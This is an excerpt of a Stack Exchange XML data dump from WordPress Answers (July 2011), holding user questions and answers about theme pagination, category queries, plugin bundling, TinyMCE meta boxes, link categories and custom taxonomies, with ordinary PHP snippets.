  <row Id="22132" PostTypeId="2" ParentId="22128" CreationDate="2011-07-06T07:22:10.063" Score="1" ViewCount="" Body="&lt;p&gt;If you have the category ID you can use the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;category__in&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; parameter eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_posts-&amp;gt;query(array('category__in' =&amp;gt;array(1,2,3))); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T07:22:10.063" />
  <row Id="22133" PostTypeId="1" CreationDate="2011-07-06T07:22:35.197" Score="0" ViewCount="35" Body="&lt;p&gt;My theme uses a custom pagination function. When I click on a category the page shows that there are 19 pages in total. However, when clicking on page #9 and anything beyond that gives me a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my pagination function I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Pagenavi&#xA;function tj_pagenavi($range = 9) {&#xA;    global $paged, $wp_query;&#xA;    if ( !$max_page ) { $max_page = $wp_query-&amp;gt;max_num_pages;}&#xA;    if($max_page &amp;gt; 1){&#xA;        echo '&amp;lt;div class=&quot;pagenavi clear&quot;&amp;gt;';&#xA;        if(!$paged){$paged = 1;}&#xA;        echo '&amp;lt;span&amp;gt;'.$paged.' / '.$max_page.'&amp;lt;/span&amp;gt;';&#xA;        previous_posts_link('&amp;amp;laquo; Previous');&#xA;        if($max_page &amp;gt; $range){&#xA;            if($paged &amp;lt; $range){&#xA;                for($i = 1; $i &amp;lt;= ($range + 1); $i++){&#xA;                    echo &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) .&quot;'&quot;;&#xA;                    if($i==$paged) echo &quot; class='current'&quot;;&#xA;                    echo &quot;&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;                }&#xA;            } elseif($paged &amp;gt;= ($max_page - ceil(($range/2)))){&#xA;                for($i = $max_page - $range; $i &amp;lt;= $max_page; $i++){&#xA;                    echo &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) .&quot;'&quot;;&#xA;                    if($i==$paged) echo &quot; class='current'&quot;;&#xA;                    echo &quot;&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;                }&#xA;            } elseif($paged &amp;gt;= $range &amp;amp;&amp;amp; $paged &amp;lt; ($max_page - ceil(($range/2)))){&#xA;                for($i = ($paged - ceil($range/2)); $i &amp;lt;= ($paged + ceil(($range/2))); $i++){&#xA;                    echo &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) .&quot;'&quot;;&#xA;                    if($i==$paged) echo &quot; class='current'&quot;;&#xA;                    echo &quot;&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;                }&#xA;            }&#xA;        } else {&#xA;            for($i = 1; $i &amp;lt;= $max_page; $i++){&#xA;                echo &quot;&amp;lt;a href='&quot; . get_pagenum_link($i) .&quot;'&quot;;&#xA;                if($i==$paged) echo &quot; class='current'&quot;;&#xA;                echo &quot;&amp;gt;$i&amp;lt;/a&amp;gt;&quot;;&#xA;            }&#xA;        }&#xA;        next_posts_link('Next &amp;amp;raquo;');&#xA;        echo '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While i'm not a php programmer, I think this error must be due to the $range=9 declaration??&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-06T07:22:35.197" Title="Pagination function does not work beyond page number 9" Tags="&lt;pagination&gt;" CommentCount="1" />
  <row Id="22134" PostTypeId="1" AcceptedAnswerId="22209" CreationDate="2011-07-06T07:22:54.793" Score="1" ViewCount="105" Body="&lt;p&gt;i'm creating a wordpress theme that i aim to sell at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, i discovered that i some of the wordpress.org plugins would be great for things that i want to do. They already hold much of the functionality i aim to achieve, so i thought of using them directly (they are under GPL i suppose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably need to adjust stuff, but i was wondering. Is there any universal-like way to include wordpress plugins inside my theme and not in the separate plugins folder ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be ideal, because i do not really want customers to have to copy to different folders. At first glance of the plugins, it seems not possible, but i suppose it never hurts to ask :)&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-06T20:37:34.863" Title="Add Plugins to Wordpress Theme" Tags="&lt;plugins&gt;&lt;theme-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="22135" PostTypeId="2" ParentId="22097" CreationDate="2011-07-06T07:23:58.177" Score="1" ViewCount="" Body="&lt;p&gt;Try to re-install your wordpress, it might help you,&#xA;and also try using different browser, to check the cache problem&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-06T07:23:58.177" CommentCount="5" />
  <row Id="22136" PostTypeId="2" ParentId="22129" CreationDate="2011-07-06T07:29:10.743" Score="0" ViewCount="" Body="&lt;p&gt;I would suggest to go with KLogger more specifically a &lt;a href=&quot;https://github.com/stephens2424/KLogger&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;fork  of it&lt;/strong&gt;&lt;/a&gt; which is simple and clean, and i have a few sites logging using this simple class with no problems or complains.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T07:29:10.743" CommentCount="2" />
  <row Id="22137" PostTypeId="2" ParentId="22134" CreationDate="2011-07-06T07:35:43.080" Score="1" ViewCount="" Body="&lt;p&gt;I strongly believe that if you aim to sell at some point you should NOT include/use GPL plugins and only your own!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now after that being said simply include the plugin's main file you your theme's functions.php and edit all path's&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T07:35:43.080" CommentCount="12" />
  <row Id="22138" PostTypeId="1" CreationDate="2011-07-06T07:37:06.230" Score="0" ViewCount="23" Body="&lt;p&gt;I have a custom post type for 'Portfolio' set up with a custom field for 'Website URL'. The HTML looks something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $temp = $wp_query;&#xA;    $wp_query = null;&#xA;    $wp_query = new WP_Query();&#xA;    $wp_query-&amp;gt;query('post_type=portfolio&amp;amp;posts_per_page=6');&#xA;&#xA;    while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post();&#xA;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;    $website_url = $custom[&quot;website_url&quot;][0];&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;section&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?=$website_url?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being unfamiliar with code, I'm wondering if I can also use &lt;code&gt;$website_url&lt;/code&gt; in a plugin template. Does anybody have an idea?&lt;/p&gt;&#xA;" OwnerUserId="6781" LastActivityDate="2011-07-06T07:37:06.230" Title="Inserting custom fields into a plugin template?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;custom-field&gt;" />
  <row Id="22139" PostTypeId="2" ParentId="21641" CreationDate="2011-07-06T07:54:36.137" Score="-1" ViewCount="" Body="&lt;p&gt;The above meta box script is no longer working in WP 3.2. The WYSIWYG editor is display in white background and the buttons are all gone! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has solution for this problem in 3.2 ?&lt;/p&gt;&#xA;" OwnerUserId="6300" LastActivityDate="2011-07-06T07:54:36.137" CommentCount="2" />
  <row Id="22140" PostTypeId="1" AcceptedAnswerId="22883" CreationDate="2011-07-06T08:23:25.987" Score="0" ViewCount="396" Body="&lt;p&gt;I'm using this class &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&lt;/a&gt; to create custom meta-box in which it contains some WYSIWYG editors. It works fine until I upgraded my WP to 3.2. The WYSIWYG editors are now have white text background and all tinyMCE buttons are gone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess they've changed quite a lot of things in TinyMCE editor in this 3.2 version to accommodate the &quot;full screen editing&quot; stuff. Bad for me though, it destroys my custom metabox... And there is no documents about this change, at all&lt;/p&gt;&#xA;" OwnerUserId="6783" LastActivityDate="2011-07-13T21:28:42.907" Title="WordPress 3.2 - Problem with WYSIWYG editors in a custom post type?" Tags="&lt;posts&gt;&lt;customization&gt;&lt;wysiwyg&gt;&lt;type&gt;" AnswerCount="2" />
  <row Id="22141" PostTypeId="2" ParentId="22140" CreationDate="2011-07-06T08:41:53.483" Score="1" ViewCount="" Body="&lt;p&gt;It's probably not a change but an upgrade to TinyMCE included with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to contact the author of the script to see if he'll update it to work with 3.2.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-06T08:41:53.483" CommentCount="1" />
  <row Id="22142" PostTypeId="1" AcceptedAnswerId="22150" CreationDate="2011-07-06T08:59:08.133" Score="0" ViewCount="33" Body="&lt;p&gt;Is it possible to add a link category on plugin activation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is the Links section, as you know by default it has the Blogroll link category. I want to add a new link category when my plugin is activated, is there a quick and easy way to do this? What is the best method to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-07-06T11:17:17.687" Title="Add Link Category on Activation?" Tags="&lt;plugin-development&gt;&lt;link-category&gt;&lt;activation&gt;" AnswerCount="1" />
  <row Id="22143" PostTypeId="1" AcceptedAnswerId="22147" CreationDate="2011-07-06T09:18:11.103" Score="0" ViewCount="130" Body="&lt;p&gt;I am using twenty-eleven theme for my site, I just saw that in single posts page, .i.e single.php, the sidebar is absent,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which means no widgets in single.php page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I bring it back&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-07-06T10:31:56.110" Title="twenty eleven single.php" Tags="&lt;widgets&gt;&lt;single&gt;" AnswerCount="1" />
  <row Id="22144" PostTypeId="1" CreationDate="2011-07-06T09:20:54.143" Score="0" ViewCount="27" Body="&lt;p&gt;Is it possible to get the navigation data directly from the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need to build my own navigation with own elements therefore the built in functions are of no use for me. what i'm looking for is a function for fetching the required data (page id, url, menu level) into an array or directly querying the database. what is the best method to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-07-06T09:20:54.143" Title="navigation: querying database directly?" Tags="&lt;database&gt;&lt;navigation&gt;" CommentCount="2" />
  <row Id="22145" PostTypeId="1" AcceptedAnswerId="22149" CreationDate="2011-07-06T09:36:29.777" Score="-1" ViewCount="56" Body="&lt;p&gt;How do I change my index.php to display only the desired categories posts in the main page ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tought that changing this would workout but instead it just print nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            query_posts( array(&#xA;            'post_type' =&amp;gt; array(&#xA;                        'post',&#xA;                        $include_reviews,&#xA;                        $include_screenshots,&#xA;                        $include_videos&#xA;                    ),&#xA;                    'paged' =&amp;gt; $paged )&#xA;                );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change from &lt;code&gt;'post',&lt;/code&gt; to &lt;code&gt;'cat=10',&lt;/code&gt; not very sure how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    $slider_number = get_option('lp_slides_number');&#xA;    $args = array( 'post_type' =&amp;gt; 'slider', 'showposts' =&amp;gt; $slider_number );&#xA;    $slider_loop = new WP_Query( $args );&#xA;    if ($slider_loop-&amp;gt;have_posts()) : ?&amp;gt;&#xA;    &amp;lt;!-- BEGIN SLIDER --&amp;gt;&#xA;    &amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;sliderContent&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php while ( $slider_loop-&amp;gt;have_posts() ) : $slider_loop-&amp;gt;the_post(); $src = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID), false, '' ); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;featured-item&quot; style=&quot;background:&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'feature_bg', true); ?&amp;gt; url(&amp;lt;?php echo $src[0]; ?&amp;gt;) no-repeat center; height:280px;&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;featured-inner&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;featured-inner&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;featured-arrows&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'feature_url', true); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Link Permanente: &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                        &amp;lt;p class=&quot;featured-meta&quot;&amp;gt;Por &amp;lt;?php the_author(); ?&amp;gt;, &amp;lt;?php the_time( get_option('date_format') ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile;&#xA;        wp_reset_query(); ?&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;top-overlay&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;bottom-overlay&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- END SLIDER --&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;!-- BEGIN MAIN WRAPPER --&amp;gt;&#xA;    &amp;lt;div id=&quot;main-wrapper&quot;&amp;gt;&#xA;&#xA;        &amp;lt;!-- BEGIN MAIN --&amp;gt;&#xA;        &amp;lt;div id=&quot;main&quot;&amp;gt;&#xA;&#xA;            &amp;lt;!-- BEGIN NEWS WRAPPER --&amp;gt;&#xA;            &amp;lt;div id=&quot;news-wrapper&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h3 class=&quot;section-title&quot;&amp;gt;Last News&amp;lt;/h3&amp;gt;&#xA;&#xA;                &amp;lt;!-- BEGIN NEWS ITEMS --&amp;gt;&#xA;                &amp;lt;?php&#xA;&#xA;                if(get_option('lp_include_reviews') == &quot;true&quot;) { $include_reviews = &quot;'reviews',&quot;; }&#xA;                if(get_option('lp_include_videos') == &quot;true&quot;) { $include_videos = &quot;'videos',&quot;; }&#xA;                if(get_option('lp_include_screenshots') == &quot;true&quot;) { $include_screenshots = &quot;'screenshots',&quot;; }&#xA;&#xA;                query_posts( array(&#xA;                'post_type' =&amp;gt; array(&#xA;                            'post',&#xA;                            $include_reviews,&#xA;                            $include_screenshots,&#xA;                            $include_videos&#xA;                        ),&#xA;                        'paged' =&amp;gt; $paged )&#xA;                    );&#xA;                ?&amp;gt;&#xA;                &amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;                &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php&#xA;&#xA;                    if ( get_post_type() == 'reviews' ) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php include( TEMPLATEPATH . '/includes/show-reviews-frontpage.php' ); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php elseif ( get_post_type() == 'videos' ) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php include( TEMPLATEPATH . '/includes/show-videos-frontpage.php' ); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php elseif ( get_post_type() == 'screenshots' ) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php include( TEMPLATEPATH . '/includes/show-screenshots-frontpage.php' ); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php else: ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php include( TEMPLATEPATH . '/includes/show-posts.php' ); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;                &amp;lt;?php kriesi_pagination(); ?&amp;gt;&#xA;                &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;!-- END NEWS ITEMS --&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- END NEWS WRAPPER --&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- END MAIN --&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1332" LastActivityDate="2011-07-06T11:23:08.367" Title="Change from all posts to specific categories post on main page?" Tags="&lt;posts&gt;&lt;theme-development&gt;&lt;categories&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="22147" PostTypeId="2" ParentId="22143" CreationDate="2011-07-06T10:31:56.110" Score="0" ViewCount="" Body="&lt;p&gt;Write before &lt;code&gt;&amp;lt;?php get_footer(); ?&amp;gt;&lt;/code&gt;  &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;?php get_sidebar( $your_custom_sidebar ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6786" LastActivityDate="2011-07-06T10:31:56.110" CommentCount="3" />
  <row Id="22148" PostTypeId="2" ParentId="22001" CreationDate="2011-07-06T10:58:35.517" Score="3" ViewCount="" Body="&lt;p&gt;Looks like you may have just not had a loop setup, try this one&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;two_images&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;  global $post;&#xA;  $args = array( &#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID, &#xA;    'post_type' =&amp;gt; 'attachment', &#xA;    'post_mime_type' =&amp;gt; 'image', &#xA;    'orderby' =&amp;gt; 'menu_order', &#xA;    'order' =&amp;gt; 'ASC', &#xA;    'numberposts' =&amp;gt; 2 );&#xA;   $images = get_posts($args);&#xA;   if ( $images ) {&#xA;    $i = 0;&#xA;    while($i &amp;lt;= 1){&#xA;      echo wp_get_attachment_image( $images[$i]-&amp;gt;ID, 'full' );&#xA;      $i++;&#xA;    }&#xA;  }&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditorDisplayName="" LastEditDate="2011-07-06T12:09:11.713" LastActivityDate="2011-07-06T12:09:11.713" CommentCount="3" />
  <row Id="22149" PostTypeId="2" ParentId="22145" CreationDate="2011-07-06T11:03:02.113" Score="1" ViewCount="" Body="&lt;p&gt;Your syntax is wrong, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; query_posts( array(&#xA;                'post_type' =&amp;gt; array(&#xA;                            'post',&#xA;                            $include_reviews,&#xA;                            $include_screenshots,&#xA;                            $include_videos&#xA;                        ),&#xA;                        'paged' =&amp;gt; $paged )&#xA;                    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; query_posts( array(&#xA;        'tax_query' =&amp;gt; array(&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'category',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( $include_reviews,&#xA;                                $include_screenshots,&#xA;                                $include_videos )&#xA;            )),&#xA;        'paged' =&amp;gt; $paged,&#xA;        'post_type' =&amp;gt; 'post')&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T11:03:02.113" CommentCount="2" />
  <row Id="22150" PostTypeId="2" ParentId="22142" CreationDate="2011-07-06T11:17:17.687" Score="2" ViewCount="" Body="&lt;p&gt;Link category is a simple taxonomy just like categories , named: &lt;code&gt;link_category&lt;/code&gt; so to add one you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;wp_insert_term()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_insert_term(&#xA;  'My link category', // the term &#xA;  'link_category', // the taxonomy&#xA;  array(&#xA;    'description'=&amp;gt; 'this is a description.',&#xA;    'slug' =&amp;gt; 'my-link-category'&#xA;  )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to make all this happen on plugin activation take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_activation_hook&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;register_activation_hook&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-06T11:17:17.687" />
  <row Id="22151" PostTypeId="2" ParentId="16616" CreationDate="2011-07-06T11:19:50.893" Score="0" ViewCount="" Body="&lt;p&gt;you may try this plugin if you are not knowing about code.. &lt;a href=&quot;http://www.dagondesign.com/articles/latest-post-from-each-category-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Latest Post from Each Category Plugin&lt;/a&gt;.it'll help you:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-06T11:19:50.893" />
  <row Id="22152" PostTypeId="2" ParentId="22145" CreationDate="2011-07-06T11:23:08.367" Score="0" ViewCount="" Body="&lt;p&gt;Hi @:Prix Try this Plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/select-category-to-post/&quot; rel=&quot;nofollow&quot;&gt;Select Category to Post&lt;/a&gt;.It'll work:)Here You Select Category as your wish and also post that category like posts.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-06T11:23:08.367" CommentCount="1" />
  <row Id="22153" PostTypeId="1" CreationDate="2011-07-06T11:33:26.180" Score="0" ViewCount="13" Body="&lt;p&gt;Using the ProjectManager plugin and the PM shortcodes to get multiple projects on one page but does anyone know how use multiple shortcodes without repeating the post output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[project id=1 template=table]&#xA;&#xA;[project id=2 template=table]&#xA;&#xA;[project id=3 template=table]&#xA;&#xA;[project id=4 template=table]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get four different tables of info all on one page which is fine but when I go from one of the tables into one of the data-sets/posts I get 4 identical blocks of info on the page, where all I want is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I'd post a link but I'm working offline]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6787" LastActivityDate="2011-07-06T11:33:26.180" Title="ProjectManager shortcodes question" Tags="&lt;plugins&gt;" />
  <row Id="22154" PostTypeId="2" ParentId="22127" CreationDate="2011-07-06T12:07:35.350" Score="0" ViewCount="" Body="&lt;p&gt;Think I've figured it out. Here's the code I used courtesy of &lt;a href=&quot;http://wordpress.org/support/topic/latest-5-authors-sorted-by-posting-data&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; on the WP Support Forum. Just replace (&lt;code&gt;)&amp;lt;?php the_author_posts_link(); ?&amp;gt;(&lt;/code&gt;) &#xA;with whatever excerpt code you want to use. And Voila!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//list 5 latest authors&#xA;$authors =  array();&#xA;$count = 0;&#xA;$args=array(&#xA;'post_type' =&amp;gt; 'post',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'posts_per_page' =&amp;gt; -1,&#xA;'caller_get_posts'=&amp;gt; 1&#xA;);&#xA;$my_query = null;&#xA;$my_query = new WP_Query($args);&#xA;if( $my_query-&amp;gt;have_posts() ) {&#xA;while ($my_query-&amp;gt;have_posts() &amp;amp;&amp;amp; $count &amp;lt; 5) : $my_query-&amp;gt;the_post();&#xA;$author_id=$my_query-&amp;gt;post-&amp;gt;post_author;&#xA;if (!in_array($author_id,$authors)) { ?&amp;gt;&#xA;&amp;lt;?php the_author_posts_link(); ?&amp;gt;&#xA;&amp;lt;?php $count++;&#xA;$authors[]=$author_id;&#xA;}&#xA;endwhile;&#xA;}&#xA;wp_reset_query();  // Restore global post data stomped by the_post().&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6789" LastActivityDate="2011-07-06T12:07:35.350" />
  <row Id="22155" PostTypeId="1" CreationDate="2011-07-06T12:07:48.313" Score="0" ViewCount="35" Body="&lt;p&gt;when setting a custom permalink structure to ’/%postname%/’ I'm able to specify a custom permalink when writing a post or a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is any hack/plugin/way to be able to add #hashes to this permalinks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. I'm creating a new Post called &quot;Welcome to my site&quot;. The permalink should not be ’mysite.com/welcome’ but I want manually set it to ’mysite.com#welcome’ so it acts as an anchor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I could solve that?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-07-06T12:07:48.313" Title="enabling #hashes in wordpress permalinks?" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;pages&gt;&lt;links&gt;" />
  <row Id="22156" PostTypeId="1" CreationDate="2011-07-06T12:14:57.837" Score="0" ViewCount="78" Body="&lt;p&gt;I am having Custom post type named as articles.I want to get the categories under particular posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow one gets all categories under custom post type articles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_categories(&quot;taxonomy=articles_category&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i want to get the categories under particular post how can i do that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit(for more clarification):-&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have create the custom post type as &lt;em&gt;articles&lt;/em&gt;  using &lt;strong&gt;register_post_type&lt;/strong&gt; function.&#xA;so i got the section in my wp-admin like bellow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/v6RAy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So under this section, i have create posts and category.and i assigned categories for &#xA;particular posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am listing all articles in articles page. Here i want show the each post categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;detailed &lt;a href=&quot;http://www.diigo.com/item/image/19c1l/i79t&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="4022" LastEditorDisplayName="" LastEditDate="2011-07-06T13:34:13.167" LastActivityDate="2011-07-06T14:03:32.083" Title="get particular custom post type posts category" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;" AnswerCount="0" CommentCount="6" />
